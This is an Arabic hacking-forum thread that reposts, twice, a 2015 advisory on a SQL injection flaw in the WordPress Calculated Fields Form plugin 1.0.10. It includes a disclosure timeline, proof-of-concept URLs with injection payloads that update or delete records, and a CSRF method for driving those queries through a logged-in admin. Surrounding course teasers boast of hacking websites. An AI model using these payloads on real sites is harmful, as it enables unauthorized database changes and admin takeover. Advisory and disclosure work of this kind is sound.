1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

[ ثغره ] WordPress Calculated Fields Form 1.0.10 SQL Injection Vulnerability

الموضوع في '[ الـثـغـرات ]' بواسطة atheer raheem, بتاريخ ‏4 مارس 2015.

كاتب الموضوع : atheer raheem المشاهدات : 502 الردود : 1 ‏4 مارس 2015
حالة الموضوع:
مغلق
  1. غير متصل

    atheer raheem
    Developer

    عضو منذ:
    ‏29 يناير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:

    [PHP CODE]


    Full title WordPress Calculated Fields Form 1.0.10 SQL Injection Vulnerability
    Date add 03-03-2015
    Category web applications
    Platform php
    Risk
    Security Risk High


    Description:
    WordPress Calculated Fields Form plugin versions 1.0.10 and below suffer from a remote SQL injection vulnerability.
    [+] Calculated Fields Form Wordpress Plugin <= 1.0.10 - Remote SQL Injection Vulnerability
    [+] Author: Ibrahim Raafat
    [+] Twitter: https://twitter.com/RaafatSEC
    [+] Plugin: https://wordpress.org/plugins/calculated-fields-form/

    [+] TimeLine
    [-] Feb 6 2015, The vulnerabilities reported
    [-] Feb 7 2015, Response and Confirming the vulnerabilities
    [-] Feb 8 2015, First fixing released to version 1.0.11
    [-] Feb 17 2015, CSRF protection added to version 1.0.12
    [-] March 1 2015, Public Disclosure

    [+] Download: https://downloads.wordpress.org/plugin/calculated-fields-form.1.0.10.zip

    [+] Description:
    There are sql injection vulnerabilities in Calculated Fields Form Plugin
    which could allow the attacker to execute sql queries into database

    [+] Vulnerable Code: [Red]
    https://plugins.trac.wordpress.org/changeset/1084937/calculated-fields-form

    [+] POC:

    /wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 and 1=1&name=InsertText
    /wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 or 1=1&name=InsertText // Will update all
    /wp-admin/options-general.php?page=cp_calculated_fields_form&c=21 and 1=1
    /wp-admin/options-general.php?page=cp_calculated_fields_form&d=3 and 1=2 Delete

    These queries are execute without any csrf protection, The attacker can use this csrf vulnerability to execute queries in the sql by sending malicious page to the logged in admin

    [+] Impact: Attacker can use this vulnerabilities to update admin password

    [+] Recommendation: If you are using 1.0.12 or less, Upgrade the plugin ASAP
    [+] Calculated Fields Form Wordpress Plugin <= 1.0.10 - Remote SQL Injection Vulnerability
    [+] Author: Ibrahim Raafat
    [+] Twitter: https://twitter.com/RaafatSEC
    [+] Plugin: https://wordpress.org/plugins/calculated-fields-form/

    [+] TimeLine
    [-] Feb 6 2015, The vulnerabilities reported
    [-] Feb 7 2015, Response and Confirming the vulnerabilities
    [-] Feb 8 2015, First fixing released to version 1.0.11
    [-] Feb 17 2015, CSRF protection added to version 1.0.12
    [-] March 1 2015, Public Disclosure

    [+] Download: https://downloads.wordpress.org/plugin/calculated-fields-form.1.0.10.zip

    [+] Description:
    There are sql injection vulnerabilities in Calculated Fields Form Plugin
    which could allow the attacker to execute sql queries into database

    [+] Vulnerable Code: [Red]
    https://plugins.trac.wordpress.org/changeset/1084937/calculated-fields-form

    [+] POC:

    /wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 and 1=1&name=InsertText
    /wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 or 1=1&name=InsertText // Will update all
    /wp-admin/options-general.php?page=cp_calculated_fields_form&c=21 and 1=1
    /wp-admin/options-general.php?page=cp_calculated_fields_form&d=3 and 1=2 Delete

    These queries are execute without any csrf protection, The attacker can use this csrf vulnerability to execute queries in the sql by sending malicious page to the logged in admin

    [+] Impact: Attacker can use this vulnerabilities to update admin password

    [+] Recommendation: If you are using 1.0.12 or less, Upgrade the plugin ASAP
    [/PHP CODE]


    :ُ{a7}:ُ:ُ{a7}:ُ:ُ{a7}:ُ:ُ{a7}:ُ:ُ{a7}:ُ:ُ{a7}:ُ​
     


    جاري تحميل الصفحة...
  2. غير متصل

    al_98r
    Developer

    عضو منذ:
    ‏21 يوليو 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: WordPress Calculated Fields Form 1.0.10 SQL Injection Vulnerability

    يعطيك العافيه على الشرح
    ما قصرت
    كفيت ووفيت
    :ُae@:​
     


حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...